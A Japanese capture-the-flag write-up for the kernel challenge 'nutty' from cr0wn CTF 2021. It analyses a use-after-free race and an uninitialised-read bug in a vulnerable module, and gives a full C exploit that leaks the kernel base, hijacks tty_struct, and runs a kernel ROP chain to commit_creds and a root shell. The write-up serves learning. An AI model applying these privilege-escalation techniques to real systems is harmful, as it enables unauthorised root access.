イントロ Link to this heading

いつぞや開催されたcr0wn CTF 2021。その pwn 問題であるnutty。先に言ってしまうと、local で root が取れたものの remote で動かなかったため flag は取れませんでした。。。。。。。 今これを書いているのが日曜日の夜 9:30 のため、あと CTF は 6 時間くらいあって、その間に remote で動くようにデバッグしろやと自分自身でも思っているんですが、ねむねむのらなんにゃんこやねんになってしまったため、寝ます。起きたら多分 CTF 終わってるので、忘却の彼方に行く前に書き残しときます。感想を言っておくと、今まで慣れ親しんできた kernel 問とは config が結構違うくて、辛かったです。 あとでちゃんと復習して、remote でもちゃんと動くような exploit に書き直しときます


(追記 2021.02.22)

なんかDiscord見た感じ、普通にoverflowがあったっぽい。。。。。。 けど気づかなかったので、一切overflowを使わずに進めてしまいました。:cry:


(追記 2021.02.22)

方針は、完全にこれでよかった。 ただ一つ、間違えていたのはsetxattrする対象をloaclでは/tmpに入れていたが、 remoteでは/home/userに入れていたため、setxattrが動いてなかっただけだった。。。。 普段なら返り値全てにassertしているのだが、今回はuffdなしのraceだったため少しでも余計な処理をなくすためにassertを端折ってしまっていた。 実際にsetxattrの第一引数を/home/userに変更するだけで、exploitは1/2の確率でremoteで動作するようになった。。。。。 もおおおおおおおおおおおおおおおおお。

wrong root


static Link to this heading

basic Link to this heading

basic.sh
 1/ $ cat /proc/version
 2Linux version 5.10.17 (p4wn@p4wn) (gcc (GCC) 10.2.0, GNU ld (GNU Binutils) 2.35) #3 SMP Thu Feb 18 21:52:1
 3/ $ lsmod
 4vulnmod 16384 0 - Live 0x0000000000000000 (O)
 5
 6timeout qemu-system-x86_64 \
 7        -m 128 \
 8        -kernel bzImage \
 9        -initrd initramfs.cpio \
10        -nographic \
11        -smp 1 \
12        -cpu kvm64,+smep,+smap \
13        -append "console=ttyS0 quiet kaslr" \
14        -monitor /dev/null \

SMEP 有効・SMAP 有効・KASLR 有効・KAISER 有効・FGKASLR 無効。

module Link to this heading

ソースコードが配布されている。最高。nutという構造体があり、ユーザから提供されたデータを保持するノートみたいな役割を果たす。

Vuln Link to this heading

kUAF / double fetch Link to this heading

vulnmod.c
 1static int append(req* arg){
 2    int idx = read_idx(arg);
 3    if (idx < 0 || idx >= 10){
 4        return -EINVAL;
 5    }
 6    if (nuts[idx].contents == NULL){
 7        return -EINVAL;
 8    }
 9
10    int new_size = read_size(arg) + nuts[idx].size;
11    if (new_size < 0 || new_size >= 1024){
12        printk(KERN_INFO "bad new size!\n");
13        return -EINVAL;
14    }
15    char* tmp = kmalloc(new_size, GFP_KERNEL);
16    memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
17    kfree(nuts[idx].contents); // A
18    char* appended = read_contents(arg); // B
19    if (appended != 0){
20        memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size);
21        kfree(appended); // C
22    }
23    nuts[idx].contents = tmp; // D
24    nuts[idx].size = new_size;
25
26    return 0;
27}

ノートを書き足す際にappend()関数が呼ばれる。この時、“A"において古いノートを一旦kfree()して、“B"で追加されたデータをcopy_from_user()によってコピーした後、コピーに使った一時的な領域を"C"でkfree()している。この時、ノートの管理構造体であるnutに対して新しいデータが実際につけ変わるのは"D"であり、“A"と"D"の間ではkfree()された領域へのポインタが保持されたままになっている。よって、“A"と"D"の間で上手く処理をユーザランドに戻すことができれば、RaceCondition になる。

invalid show size Link to this heading

vulnmod-show.c
 1static int show(req* arg){
 2    int idx = read_idx(arg);
 3    if (idx < 0 || idx >= 10){
 4        return -EINVAL;
 5    }
 6    if (nuts[idx].contents == NULL){
 7        return -EINVAL;
 8    }
 9    copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);
10
11    return 0;
12}

ユーザが書き込んだデータをユーザランドに返すshow()という関数がある。このモジュールではデータ読み込みの際に、データバッファ自体のサイズと実際に入力するデータ長を区別しているが、copy_to_user()においては実際のデータ長(nut.content_length)ではなく、バッファの長さ(nut.size)を利用している。よって、短いデータを大きいバッファに入れることで初期化されていない heap 内のデータを読むことができ、容易に heap アドレス等の leak ができる。

leak kernbase Link to this heading

race via userfaultfd (FAIL) Link to this heading

これだったら、いつもどおり uffd で race を安定させて終わりじゃーんと最初に問題を見たときには思った。だが、調べる内にこの kernel には想定外のことが 3 つあった。 1 つ目。uffd が無効になっている。呼び出すと、Function not Implemented と表示されるだけ。よって、uffd によって race を安定化させるということはできない。

not-exist-uffd.sh
1/ # cat /proc/kallsyms | grep userfaultfd
2ffffffffad889df0 W __x64_sys_userfaultfd
3ffffffffad889e00 W __ia32_sys_userfaultfd

2 つ目。スラブアロケータが SLUB じゃない。heap を見てみると、見慣れた SLUB と構造が異なっていた。恐らくこれは SLOB である。そして、ぼくは SLOB の構造をよく知らない。なんかキャッシュが大中小の 3 パターンでしか分かれていないというのと、object の終わりの方に次へのポインタがあるっていうことくらい。 3 つ目。modprobe_pathがない。なんかあっても modprobe_path 書き換えれば終わりだろ〜と思っていたが、これまた検討が外れた。

race to leak kernbase without uffd (Success) Link to this heading

uffd が使えないため、素直に race を起こすことにした。利用する構造体はseq_operations。大まかな流れは以下のとおり。

leak-concept.txt
11. 0x20サイズのnutをcreate
22. 1で作ったnutに対してsize:0x100,content_length:0でひたすらにappendし続ける
33. 別スレッドにおいて1で作ったnutからひたすらにopen(/proc/self/stat)とshowを交互にする
44. 上手くタイミングが噛み合い、appendの途中で3のスレッドにスイッチした場合、kfreeされたnutをseq_operationsとして確保できる。よって、これをshowすることでポインタがleakできる。

これで、kernbase の leak 完了。

get RIP Link to this heading

RIP の取得も、kernbase の leak とほぼ同じように race させることでできる。今回はtty_structを使った。

bypass SMAP via kROP in kernel heap Link to this heading

RIP を取れたは良いが、今回は SMAP/SMEP/KPTI 有効というフル機構である。SMEP 有効のため userland の shellcode は動かせないし、SMAP 有効のため userland に stack pivot して kROP することもできない。また、modprobe_pathも存在しないため書き換えだけで root を取ることもできない。ここでかなり悩んで時間を使ってしまった。 最終的に、tty_struct内の関数ポインタを書き換えて gadget に飛んだ時に、RBP がtty_struct自身を指していることが分かった。そのため、leave, retする gadget に飛ぶことで、RSP をtty_struct、すなわち kernel heap に向けることができる。但し、このtty_structは既に RIP を取るために使ったペイロードが入っている。よって、このペイロードも含めて kROP として成立するような kROP chainを組む必要があった。最終的にtty_structは以下のようなペイロードと chain を含んだ構造になった。 <ここにペイロードのイメージ図>

remote で root が取れないぽよ。。。 (FAIL) Link to this heading

これでローカル環境においてシェルが取れたが、リモート環境においてどうしてもシェルが取れなかった。多分、ローカルで動いているということは、ちょっと調整をするだけで取れるような気もするが、ローカルで動かすまでにかなり精神を摩耗させてしまったため remote でシェルを取ることは叶わなかった。悲しいね。。。

exploit Link to this heading

ローカルでは3 回に 1 回くらいの確率で root が取れる。但し、remote では取れなかった。remote と local の違いと言えば、最初にプログラムを send/decompress するかくらいなため、そこになんか重要な違いでもあったのかなぁ。多分初期の heap 状態とかだと思うんですが、如何せん SLOB よく知らんし、調べる気力も CTF 中は失われてしまった。。。

exploit-only-work-in-local.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <sys/syscall.h>
 19#include <sys/ipc.h>
 20#include <sys/msg.h>
 21#include <sys/ioctl.h>
 22#include <sys/mman.h>
 23#include <sys/types.h>
 24#include <sys/xattr.h>
 25#include <sys/socket.h>
 26#include <sys/uio.h>
 27#include <sys/shm.h>
 28
 29
 30// commands
 31#define DEV_PATH "/dev/nutty"   // the path the device is placed
 32
 33// constants
 34#define PAGE 0x1000
 35#define FAULT_ADDR 0xdead0000
 36#define FAULT_OFFSET PAGE
 37#define MMAP_SIZE 4*PAGE
 38#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 39// (END constants)
 40
 41// globals
 42// (END globals)
 43
 44
 45// utils
 46#define WAIT getc(stdin);
 47#define ulong unsigned long
 48#define scu static const unsigned long
 49#define NULL (void*)0
 50#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 51                        } while (0)
 52#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 53                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 54ulong user_cs,user_ss,user_sp,user_rflags;
 55struct pt_regs {
 56	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 57	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 58	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 59	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 60  ulong sp; ulong ss;
 61};
 62void print_regs(struct pt_regs *regs)
 63{
 64  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 65  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 66  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 67  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 68  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 69}
 70void NIRUGIRI(void)
 71{
 72  puts("[!!!] REACHED NIRUGIRI");
 73  int ruid, euid, suid;
 74  getresuid(&ruid, &euid, &suid);
 75  //if(euid != 0)
 76  //  errExit("[ERROR] FAIL");
 77  system("/bin/sh");
 78  //char *argv[] = {"/bin/sh",NULL};
 79  //char *envp[] = {NULL};
 80  //execve("/bin/sh",argv,envp);
 81}
 82// should compile with -masm=intel
 83static void save_state(void) {
 84  asm(
 85      "movq %0, %%cs\n"
 86      "movq %1, %%ss\n"
 87      "movq %2, %%rsp\n"
 88      "pushfq\n"
 89      "popq %3\n"
 90      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 91}
 92
 93static void shellcode(void){
 94  asm(
 95    "xor rdi, rdi\n"
 96    "mov rbx, QWORD PTR [rsp+0x50]\n"
 97    "sub rbx, 0x244566\n"
 98    "mov rcx, rbx\n"
 99    "call rcx\n"
100    "mov rdi, rax\n"
101    "sub rbx, 0x470\n"
102    "call rbx\n"
103    "add rsp, 0x20\n"
104    "pop rbx\n"
105    "pop r12\n"
106    "pop r13\n"
107    "pop r14\n"
108    "pop r15\n"
109    "pop rbp\n"
110    "ret\n"
111  );
112}
113// (END utils)
114
115/** nutty **/
116// commands
117#define NUT_CREATE 0x13371
118#define NUT_DELETE 0x13372
119#define NUT_SHOW 0x13373
120#define NUT_APPEND 0x13374
121
122// type
123struct req {
124    int idx;
125    int size;
126    char* contents;
127    int content_length;
128    char* show_buffer;
129};
130
131// globals
132uint count = 0;
133void *faultmp = 0;
134int nutfd;
135ulong total_try = 0;
136char buf[0x400];
137ulong kernbase;
138uint second_size = 0x2e0;
139ulong prover = 0;
140ulong *chain = 0;
141
142// wrappers
143int _create(int fd, uint size, uint csize, char *data){
144  //printf("[+] create: %lx, %lx, %p\n", size, csize, data);
145  assert(fd > 0);
146  assert(0<=size && size<0x400);
147  assert(csize > 0);
148  assert(count < 10);
149  struct req myreq = {
150    .size = size,
151    .content_length = csize,
152    .contents = data
153  };
154  return ioctl(fd, NUT_CREATE, &myreq);
155}
156
157int _show(int fd, uint idx, char *buf){
158  //printf("[+] show: %lx, %p\n", idx, buf);
159  assert(fd > 0);
160  struct req myreq ={
161    .idx = idx,
162    .show_buffer = buf
163  };
164  return ioctl(fd, NUT_SHOW, &myreq);
165}
166
167int _delete(int fd, uint idx){
168  //printf("[+] delete: %x\n", idx);
169  assert(fd > 0);
170  struct req myreq = {
171    .idx = idx,
172  };
173  return ioctl(fd, NUT_DELETE, &myreq);
174}
175
176int _append(int fd, uint idx, uint size, uint csize, char *data){
177  //printf("[+] append: %x, %x %x, %p\n", idx, size, csize, data);
178  assert(fd > 0);
179  assert(0<=size && size<0x400);
180  assert(csize > 0);
181  struct req myreq = {
182    .size = size,
183    .content_length = csize,
184    .contents = data,
185    .idx = idx
186  };
187  return ioctl(fd, NUT_APPEND, &myreq);
188}
189/** (END nutty) **/
190
191
192int leaked = -1;
193ulong delete_count = 0;
194ulong append_count = 0;
195uint target_idx = 0;
196ulong current_cred;
197
198static void* shower(void *arg){
199  char rbuf[0x200];
200  memset(rbuf, 0, 0x200);
201  int result;
202  int tmpfd;
203  ulong shower_counter = 0;
204  while(leaked == -1){
205    // kUAFできていた場合に備えてseq_operationsを確保
206    tmpfd = open("/proc/self/stat", O_RDONLY);
207    result = _show(nutfd, 0, rbuf);
208    if(result < 0){ // idx0が存在しない
209      close(tmpfd);
210      continue;
211    }
212    // idx0が入れたはずの値じゃなければkUAF成功
213    if(((ulong*)rbuf)[0] != 0x4141414141414141){
214      leaked = 1;
215      puts("[!] LEAKED!");
216      for(int ix=0; ix!=4;++ix){
217        printf("[!] 0x%lx\n", ((ulong*)rbuf)[ix]);
218      }
219      break;
220    }
221    // seq_operations解放(やらないとmemory outof memory)
222    close(tmpfd);
223    if(shower_counter % 0x1000 == 0){
224      printf("[-] shower: 0x%lx, 0x%lx\n", shower_counter, ((ulong*)rbuf)[0]);
225    }
226    ++shower_counter;
227  }
228  puts("[+] shower returning...");
229  return (void*)((ulong*)rbuf)[0];
230}
231
232static void* appender(void *arg){
233  int result = 0;
234  char wbuf[0x200];
235  memset(wbuf, 'A', 0x200);
236  while(leaked == -1){
237    result = _append(nutfd, target_idx, 0x0, 0x1, wbuf);
238    if(result >= 0){
239      ++append_count;
240      if(append_count % 0x100 == 0)
241        printf("[-] append: 0x%lx\n", append_count);
242    }
243  }
244  puts("[+] appender returning...");
245}
246
247static void* writer(void *arg){
248  char rbuf[0x400];
249  int result;
250  int tmpfd;
251  ulong writer_counter = 0;
252
253  while(leaked == -1){
254    // kUAFできていた場合に備えてtty_structを確保
255    tmpfd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
256    result = _show(nutfd, target_idx, rbuf);
257    if(result < 0){ // idx0が存在しなy
258      close(tmpfd);
259      continue;
260    }
261    // idx0が入れたはずの値じゃなければkUAF成功
262    if(((ulong*)rbuf)[0] != 0x4242424242424242){
263      leaked = 1;
264      // do my businness first
265      _delete(nutfd, target_idx);
266
267      // gen chain
268      chain = (ulong*)((ulong)rbuf + 8);
269      *chain++ = kernbase + 0x14ED59; // pop rdi, pop rsi // MUST two pops
270      *chain++ = ((ulong*)rbuf)[2];
271      *chain++ = ((ulong*)rbuf)[7] & ~0xFFFUL;  // this is filled by tty_struct's op
272
273      *chain++ = kernbase + 0x001BDD; // 0xffffffff81001bdd: pop rdi ; ret  ;  (6917 found)
274      *chain++ = 0;
275      *chain++ = kernbase + 0x08C3C0; // prepare_kernel_cred
276      *chain++ = kernbase + 0x0557B5; // pop rcx
277      *chain++ = 0;
278      *chain++ = kernbase + 0xA2474B; // mov rdi, rax, rep movsq
279      *chain++ = kernbase + 0x08C190; // commit_creds
280
281      *chain++ = kernbase + 0x0557b5; // pop rcx
282      *chain++ = kernbase + 0x00CF31; // [starter] leave
283
284      //*chain++ = kernbase + 0x0557b5; // pop rcx
285      //*chain++ = 0xBBBBBBBBBBBBB;
286      //*chain++ = kernbase + 0xC00E26; // swapgs 0xffffffff81c00e26 mov rdi,cr3 (swapgs_restore_regs_and_return_to_usermode)
287      *chain++ = kernbase + 0xc00e06;
288
289      *chain++ = 0xEEEEEEEEEEEEEEEE;
290      *chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq
291      *chain++ = &NIRUGIRI;
292      *chain++ = user_cs; //XXX
293      *chain++ = user_rflags;
294      *chain++ = user_sp;
295      *chain++ = user_ss;
296
297      //*chain++ = 0xAAAAAAAAAAAAA;
298      //*chain++ = 0xBBBBBBBBBBBBB;
299      //*chain++ = 0xEEEEEEEEEEEEEEEE;
300      //*chain++ = 0xAAAAAAAAAAAAA;
301      //*chain++ = 0xBBBBBBBBBBBBB;
302      //*chain++ = 0xCCCCCCCCCCCCC;
303      //*chain++ = 0xDDDDDDDDDDDDD;
304
305      //*chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq
306      //*chain++ = &NIRUGIRI;
307      //*chain++ = user_cs; //XXX
308      //*chain++ = user_rflags;
309      //*chain++ = user_sp;
310      ////*chain++ = user_ss;
311
312      //*chain++ = 0xEEEEEEEEEEEEEEEE;
313      //*chain++ = 0xAAAAAAAAAAAAA;
314      //*chain++ = 0xBBBBBBBBBBBBB;
315      //*chain++ = 0xCCCCCCCCCCCCC;
316      //*chain++ = 0xDDDDDDDDDDDDD;
317
318      setxattr("/tmp/exploit", "NIRUGIRI", rbuf, second_size, XATTR_CREATE);
319      ioctl(tmpfd, 0, 0x13371337);
320
321      assert(tmpfd > 0);
322      return; // unreacableであってほしい
323    }
324    close(tmpfd);
325    if(writer_counter % 0x1000 == 0){
326      printf("[-] writer: 0x%lx, 0x%lx\n", writer_counter, ((ulong*)rbuf)[0]);
327    }
328    ++writer_counter;
329  }
330  puts("[+] writer returning...");
331  return 0;
332}
333
334struct _msgbuf{
335  long mtype;
336  char mtext[0x30];
337};
338struct _msgbuf2e0{
339  long mtype;
340  char mtext[0x2e0];
341};
342
343int main(int argc, char *argv[]) {
344  pthread_t creater_thr, deleter_thr, shower_thr, appender_thr, cad_thr, cder_thr, writer_thr;
345  char rbuf[0x400];
346  printf("[+] NIRUGIRI @ %p\n", &NIRUGIRI);
347  memset(rbuf, 0, 0x200);
348  memset(buf, 'A', 0x200);
349  nutfd = open(DEV_PATH, O_RDWR);
350  assert(nutfd > 0);
351  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
352  if(qid == -1) errExit("msgget");
353  struct _msgbuf msgbuf = {.mtype = 1};
354  struct _msgbuf2e0 msgbuf2e0 = {.mtype = 2};
355  //KMALLOC(qid, msgbuf, 0x40);
356  KMALLOC(qid, msgbuf2e0, 0x5);
357
358  // leak kernbase
359  _create(nutfd, 0x20, 0x20, buf);
360  int appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
361  if(appender_fd > 0)
362    errExit("appender_fd");
363  int shower_fd = pthread_create(&shower_thr, NULL, shower, 0);
364  if(shower_fd > 0)
365    errExit("shower_fd");
366  void *ret_shower;
367  pthread_join(appender_thr, 0);
368  pthread_join(shower_thr, &ret_shower);
369  const ulong single_start = (ulong)ret_shower;
370  kernbase = single_start - 0x1FA9E0;
371  printf("[!] kernbase: 0x%lx\n", kernbase);
372
373  // <until here, there is NO corruption //
374  leaked = -1;
375  target_idx = 1;
376  memset(buf, 'B', 0x200);
377  for(int ix=1; ix!=0x30; ++ix){
378    ((ulong*)buf)[ix] = 0xdead00000 + ix*0x1000;
379  }
380  printf("[+] starting point: 0x%lx\n", kernbase + 0x00CF31);
381  ((ulong*)buf)[0x60/8] = kernbase + 0x00CF31;
382
383  _create(nutfd, second_size, second_size, buf);
384  _create(nutfd, 0x2e0, 0x2e0, buf);
385
386  save_state();
387  appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
388  if(appender_fd > 0)
389    errExit("appender_fd");
390  int writer_fd = pthread_create(&writer_thr, NULL, writer, 0);
391  if(writer_fd > 0)
392    errExit("writer_fd");
393  pthread_join(appender_thr, 0);
394  pthread_join(writer_thr, 0);
395
396  NIRUGIRI();
397  return 0;
398}

アウトロ Link to this heading

最近 kernel 問をちょこちょこ解いていたから、ちゃんと CTF 開催期間中に remote で root を取りたかった。 ちゃんと寝たあとに、復習してちゃんと動く exploit を書き直す。 おやすみなさい。。。

参考 Link to this heading